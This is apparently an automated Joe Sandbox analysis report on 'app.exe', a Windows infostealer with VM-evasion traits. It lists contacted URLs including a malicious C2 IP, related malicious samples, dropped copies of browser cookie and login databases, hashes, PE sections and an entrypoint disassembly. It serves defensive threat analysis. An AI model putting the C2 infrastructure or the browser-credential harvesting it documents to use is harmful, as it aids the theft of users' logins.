https://setup.office.com/SignIn?ru=https%3A%2F%2Fsetup.office.com%2F%3Fms.officeurl%3Dsetup2V	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/favicon.ico	app.exe, 00000003.00000003.3183161453.00000000058E8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://alldrivers4devices.net	app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/consumers/oauth2/v2.0/authorize?client_id=77f68844-337b-4044-a0d4-	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://office.com/setupMicrosoft	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=plugin_flashaert	app.exe, 00000003.00000003.3177221257.00000000055AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	app.exe, 00000003.00000003.3183161453.00000000058E8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.eicar.org/download-anti-malware-testfile/Download	app.exe, 00000003.00000003.3182148991.0000000005603000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3178386939.00000000055E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182859527.0000000005603000.00000004.00000020.00020000.00000000.sdmp	false		high
https://setup.office.com/Home/Provision?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8.	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com/setupMicrosoft	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://setup.office.com/Home/Provision?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8Continue/	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230:80/o	app.exe, 00000003.00000003.3130432829.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3132299964.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3128278501.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3132482295.000000000558B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://setup.office.com/SignIn?ctid=34c190b7-c610-402a-b0d1-920cecdfcf12&redirectUri=https%3A%2F%2F	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.autoitscript.com/site/autoit/downloads/AutoIt	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230/~	app.exe, 00000003.00000003.3112020011.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3123955917.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3121520475.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116384116.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3126108218.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3118889457.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3114263668.0000000000956000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://144.208.127.230:80/T	app.exe, 00000003.00000003.3105612570.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3107523130.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3111746106.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3109755043.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116136458.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3114168289.0000000005584000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.quovadis.bm0	app.exe, 00000003.00000003.3093301962.000000000551F000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.208.127.230:80/-35b871f0a661ozi	app.exe, 00000003.00000003.3177623712.000000000090A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://144.208.127.230:80/R	app.exe, 00000003.00000003.3177623712.000000000090A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exeQ	app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.eicar.org/https://eicar.org/https://www.eicar.org/download-anti-malware-testfile/https:/	app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://setup.office.com/Home/Provision?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8Continue	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	app.exe, 00000003.00000003.3183161453.00000000058E8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://setup.office.com/home/ProvisionLoading?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8Microsoft	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230U	app.exe, 00000003.00000002.3294569055.00000000008CF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://secure.eicar.org/eicar.com.txt	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182148991.0000000005603000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3178386939.00000000055E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182859527.0000000005603000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.autoitscript.com/site/autoit/downloads/7	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
144.208.127.230	unknown	United States		395092	SHOCK-1US	true
172.67.74.152	api.ipify.org	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1436386
Start date and time:	2024-05-05 00:21:26 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	app.exe
Detection:	MAL
Classification:	mal100.spyw.evad.winEXE@10/6@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 35 Number of non-executed functions: 212
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:24:47	API Interceptor	49x Sleep call for process: app.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
144.208.127.230	crypted.bin.exe	Get hash	malicious	CryptOne	Browse	144.208.127.230/
144.208.127.230	crypted.bin.exe	Get hash	malicious	CryptOne	Browse	144.208.127.230/
172.67.74.152	Sonic-Glyder.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta-Setup.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	Sky-Beta.exe	Get hash	malicious	Stealit	Browse	api.ipify.org/?format=json
	SongOfVikings.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	SongOfVikings.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json
	Sky-Beta Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/?format=json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ipify.org	INVOICE KAD-0138-2024.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Supplier Order Scan 0001293039493.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.13.205
	file.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	DHL_VTER000105453.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	DHL_VTER000105450.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	DHL Receipt_AWB 9899691321..exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	FACTURAS-ALBARANES.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Order PS24S0040.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	1110022.vbs	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	Transfer copy PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SHOCK-1US	nUswWbPPmT.ocx.dll	Get hash	malicious	Unknown	Browse	209.182.225.225
	nUswWbPPmT.ocx.dll	Get hash	malicious	Unknown	Browse	209.182.225.225
	Incident_Report_Harassment_by_Employee.doc	Get hash	malicious	Unknown	Browse	209.182.225.225
	out.exe	Get hash	malicious	Unknown	Browse	209.182.225.225
	out.exe	Get hash	malicious	Unknown	Browse	209.182.225.225
	potrgssavalue.msi	Get hash	malicious	Unknown	Browse	209.182.225.225
	down.dll	Get hash	malicious	Unknown	Browse	209.182.225.225
	down.dll	Get hash	malicious	Unknown	Browse	209.182.225.225
	crypted.bin.exe	Get hash	malicious	CryptOne	Browse	144.208.127.230
	crypted.bin.exe	Get hash	malicious	CryptOne	Browse	144.208.127.230
CLOUDFLARENETUS	https://pub-12f6f4c3b63f41829408f4f27b70cb51.r2.dev/02aaa.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	SecuriteInfo.com.Variant.Lazy.387025.32273.29448.exe	Get hash	malicious	RedLine	Browse	104.20.4.235
	SecuriteInfo.com.Variant.Lazy.387025.32273.29448.exe	Get hash	malicious	RedLine	Browse	172.67.19.24
	SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Get hash	malicious	LummaC	Browse	172.67.131.204
	SecuriteInfo.com.Trojan.NSIS.Agent.20411.3944.exe	Get hash	malicious	LummaC	Browse	104.21.39.216
	SecuriteInfo.com.Trojan.MulDrop9.4697.30323.11244.exe	Get hash	malicious	Unknown	Browse	162.159.36.2
	7Ql51TchBG.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	172.67.169.18
	INVOICE KAD-0138-2024.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Orden de compra 0001-00255454.xlam.xlsx	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	172.67.177.134
	0KRPn.vbs	Get hash	malicious	AgentTesla	Browse	104.21.45.138

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Template_signed_0405.dotm.doc	Get hash	malicious	Unknown	Browse	172.67.74.152
	SecuriteInfo.com.Variant.Lazy.387025.32273.29448.exe	Get hash	malicious	RedLine	Browse	172.67.74.152
	SecuriteInfo.com.Win32.Evo-gen.17272.18065.exe	Get hash	malicious	LummaC	Browse	172.67.74.152
	SecuriteInfo.com.Trojan.NSIS.Agent.20411.3944.exe	Get hash	malicious	LummaC	Browse	172.67.74.152
	Pedido-Faturado-398731.msi	Get hash	malicious	Unknown	Browse	172.67.74.152
	PIO88938MB.docx.doc	Get hash	malicious	Unknown	Browse	172.67.74.152
	NFs_98776.msi	Get hash	malicious	VMdetect	Browse	172.67.74.152
	taEPf27YpR.xll	Get hash	malicious	Unknown	Browse	172.67.74.152
	taEPf27YpR.xll	Get hash	malicious	Unknown	Browse	172.67.74.152
	shipping doc.exe	Get hash	malicious	FormBook	Browse	172.67.74.152

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Template_signed_0405.dotm.doc	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe

Download File

Process:	C:\Users\user\Desktop\app.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1290240
Entropy (8bit):	7.441704402192102
Encrypted:	false
SSDEEP:	24576:CIFxe+AY3rqYsavMOQdbac5IQH97wiI3dzAr09UDZ5YUD8:1xeSNR0vbac5/d8P3diDZ6q
MD5:	75B9EF9142A78671D449C8D22AB6BE14
SHA1:	0461F1C46644ACDE8020BB59B53B1E34B65977CA
SHA-256:	E9BC44CF548A70E7285499209973FAF44B7374DECE1413DFCDC03BF25A6C599C
SHA-512:	14EF889F580C02E319B6D9D899DDBD1BD523C1D8B493EAB8B98DA6D3D276D76EFB9B5694759DF7D68BB9D002A8ACE8FC82D22121A7B4EA236D5F9CEF38CC809C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11% Antivirus: Virustotal, Detection: 11%, Browse
Joe Sandbox View:	Filename: Template_signed_0405.dotm.doc, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........P(..>{..>{..>{?.c{..>{v..{..>{...{..>{f."{..>{e."{..>{F.'{..>{..?{..>{F.~{..>{F."{&.>{...{..>{..5{..>{..^{..>{F.#{.>{F.{{..>{F..{..>{Rich..>{................PE..L......P.............................]............@.......................... ..............................................$........................................................................................................................text...2........................... ....rdata...&.......0..................@..@.data........ ...@... ..............@....rsrc................`..............@..@)m&......P.......P...`.................@........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\app.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\Cookies

Download File

Process:	C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 10, database pages 7, 1st free page 5, free pages 2, cookie 0x9, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	1.5161495002712742
Encrypted:	false
SSDEEP:	96:s3n5HGsht8kAM0hsYfxqYgXZBqIcsrl3tuY2sWsqF:c5mF5wnpx9uYSF
MD5:	16A6EDF5F48F2A7B20B3B8825384B05C
SHA1:	A59542299A41166F515B18AB8CBC3D72517ED207
SHA-256:	3E1A2BB358B396C201A6058EC8A05E25B167255EB3DAEEB1130331A298CC6F93
SHA-512:	7C4C9D69B05EA5B120C0DB6DF7D0C4487387659AF6D17C387503CA360EF8430F676B0964B6BC3C368BA4DC8D0E648B2750C26970D833788982BBF5BC04AC632D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`..=......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\History

Download File

Process:	C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 4, database pages 35, cookie 0x1e, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	163840
Entropy (8bit):	0.44975538801868414
Encrypted:	false
SSDEEP:	96:Ou1HAU+bDoYysX0uhnyZtha58VjN9DLjGQLBE3u:Ou1X+bDo3irhnyBi8Vj3XBBE3u
MD5:	89E4498D0328AFC71113CC75EBE7D770
SHA1:	120CF58C897FF1025F8B4F854A21821D948F74BC
SHA-256:	F50B271AFE0D4950FAE539E4A04C3D07849F0CE2250E73B352CDB3D981095B40
SHA-512:	7914EDF9352FBB1ABB6A0B89A4F47F09DE5672DEB6B4BE9EBEA833C8D1ED3EFD5AD16A612DF3DF65C878EB577FD0B697BC44C3E52D9BBFB82A81C1C903621989
Malicious:	false
Preview:	SQLite format 3......@ .......#..................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Login Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 3, database pages 27, 1st free page 7, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.7310370201569906
Encrypted:	false
SSDEEP:	96:qsvKLyeymO9K3PlGNxotxPUCbn8MouON3n:q86PlGNxss27e
MD5:	A802F475CA2D00B16F45FEA728F2247C
SHA1:	AF57C02DA108CFA0D7323252126CC87D7B608786
SHA-256:	156ADDC0B949718CF518720E5774557B134CCF769A15E0413ABC257C80E58684
SHA-512:	275704B399A1C236C730F4702B57320BD7F034DC234B7A820452F8C650334233BD6830798446664F133BA4C77AA2F91E66E901CE8A11BD8575C2CD08AB9BE98F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Web Data

Download File

Process:	C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	1.1414673161713362
Encrypted:	false
SSDEEP:	192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6:8t4n/9p/39J6hwNKRmqu+7VusE
MD5:	24937DB267D854F3EF5453E2E54EA21B
SHA1:	F519A77A669D9F706D5D537A203B7245368D40CE
SHA-256:	369B8B4465FB5FD7F12258C7DEA941F9CCA9A90C78EE195DF5E02028686869ED
SHA-512:	AED398C6781300E732105E541A6FDD762F04E0EC5A5893762BFDCBDD442348FAF9CB2711EFDC4808D4675A8E48F77BEAB3A0D6BC635B778D47B2DADC9B6086A3
Malicious:	false
Preview:	SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.441704402192102
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	app.exe
File size:	1'290'240 bytes
MD5:	75b9ef9142a78671d449c8d22ab6be14
SHA1:	0461f1c46644acde8020bb59b53b1e34b65977ca
SHA256:	e9bc44cf548a70e7285499209973faf44b7374dece1413dfcdc03bf25a6c599c
SHA512:	14ef889f580c02e319b6d9d899ddbd1bd523c1d8b493eab8b98da6d3d276d76efb9b5694759df7d68bb9d002a8ace8fc82d22121a7b4ea236d5f9cef38cc809c
SSDEEP:	24576:CIFxe+AY3rqYsavMOQdbac5IQH97wiI3dzAr09UDZ5YUD8:1xeSNR0vbac5/d8P3diDZ6q
TLSH:	8255CF05F3D2B8B1D15192772DC96161B6ED993048D83F0732D0EE5E1B3B9A6B40FE2A
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........P(..>{..>{..>{?.c{..>{v..{..>{...{..>{f."{..>{e."{..>{F.'{..>{..?{..>{F.~{..>{F."{&.>{...{..>{..5{..>{..^{..>{F.#{..>{F.{{..>

File Icon


Icon Hash:	0f4ecda7ae5d1715

Static PE Info

General

Entrypoint:	0x415dde
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x500F9507 [Wed Jul 25 06:41:11 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	26600adf486f72b556f917a64c8fd23f

Entrypoint Preview

Instruction
push 00000060h
push 0043A478h
call 00007F8C48B70DE3h
mov edi, 00000094h
mov eax, edi
call 00007F8C48B6F33Fh
mov dword ptr [ebp-18h], esp
mov esi, esp
mov dword ptr [esi], edi
push esi
call dword ptr [0042F2B4h]
mov ecx, dword ptr [esi+10h]
mov dword ptr [0044B190h], ecx
mov eax, dword ptr [esi+04h]
mov dword ptr [0044B19Ch], eax
mov edx, dword ptr [esi+08h]
mov dword ptr [0044B1A0h], edx
mov esi, dword ptr [esi+0Ch]
and esi, 00007FFFh
mov dword ptr [0044B194h], esi
cmp ecx, 02h
je 00007F8C48B6FCDEh
or esi, 00008000h
mov dword ptr [0044B194h], esi
shl eax, 08h
add eax, edx
mov dword ptr [0044B198h], eax
xor esi, esi
push esi
mov edi, dword ptr [0042F20Ch]
call edi
cmp word ptr [eax], 5A4Dh
jne 00007F8C48B6FCF1h
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
cmp dword ptr [ecx], 00004550h
jne 00007F8C48B6FCE4h
movzx eax, word ptr [ecx+18h]
cmp eax, 0000010Bh
je 00007F8C48B6FCF1h
cmp eax, 0000020Bh
je 00007F8C48B6FCD7h
mov dword ptr [ebp-1Ch], esi
jmp 00007F8C48B6FCF9h
cmp dword ptr [ecx+00000084h], 0Eh
jbe 00007F8C48B6FCC4h
xor eax, eax
cmp dword ptr [ecx+000000F8h], esi
jmp 00007F8C48B6FCE0h
cmp dword ptr [ecx+74h], 0Eh
jbe 00007F8C48B6FCB4h
xor eax, eax
cmp dword ptr [ecx+000000E8h], esi
setne al
mov dword ptr [ebp-1Ch], eax

Rich Headers

Programming Language:

[ASM] VS2002 (.NET) build 9466
[ C ] VS2002 (.NET) build 9466
[C++] VS2003 (.NET) build 3077
[C++] VS2002 (.NET) build 9466
[RES] VS2002 (.NET) build 9466
[LNK] VS2002 (.NET) build 9466

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3f924	0x118	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4d000	0x2f5f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2f000	0x594	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2db32	0x2e000	7868e2f41e5b3ab908ac5a72a66f5953	False	0.6095076851222826	data	6.670624963209676	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2f000	0x126c6	0x13000	efd458d4cde7206fd4c5482997a30ba9	False	0.4482421875	data	5.736665908168061	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x42000	0xa9f4	0x4000	07b79e131c84ddfb0842641915843ec1	False	0.4459228515625	data	5.072911159589167	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4d000	0x2f5f0	0x30000	2686df77c23e2ca3144ababd1a5e1501	False	0.2823994954427083	data	4.484521144858898	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
)m&	0x7d000	0xc5000	0xc5000	acab40631ef6f655b384348be6aac2b9	False	0.841724996034264	data	7.775469163423906	IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
JPG	0x4f2b0	0x2b1e6	PC bitmap, Windows 3.x format, 635 x 276 x 8, cbSize 176614, bits offset 1078	Chinese	China	0.27774128891254374
RT_CURSOR	0x7a498	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	Chinese	China	0.4805194805194805
RT_CURSOR	0x7a5d0	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	Chinese	China	0.7
RT_CURSOR	0x7a6b0	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.36363636363636365
RT_CURSOR	0x7a800	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.35714285714285715
RT_CURSOR	0x7a950	0x134	data	Chinese	China	0.37337662337662336
RT_CURSOR	0x7aaa0	0x134	data	Chinese	China	0.37662337662337664
RT_CURSOR	0x7abf0	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	Chinese	China	0.36688311688311687
RT_CURSOR	0x7ad40	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	Chinese	China	0.37662337662337664
RT_CURSOR	0x7ae90	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.36688311688311687
RT_CURSOR	0x7afe0	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	Chinese	China	0.38636363636363635
RT_CURSOR	0x7b130	0x134	data	Chinese	China	0.44155844155844154
RT_CURSOR	0x7b280	0x134	data	Chinese	China	0.4155844155844156
RT_CURSOR	0x7b3d0	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	Chinese	China	0.5422077922077922
RT_CURSOR	0x7b520	0x134	data	Chinese	China	0.2662337662337662
RT_CURSOR	0x7b670	0x134	data	Chinese	China	0.2824675324675325
RT_CURSOR	0x7b7c0	0x134	data	Chinese	China	0.3246753246753247
RT_BITMAP	0x7b9f8	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	Chinese	China	0.44565217391304346
RT_BITMAP	0x7bab0	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	Chinese	China	0.37962962962962965
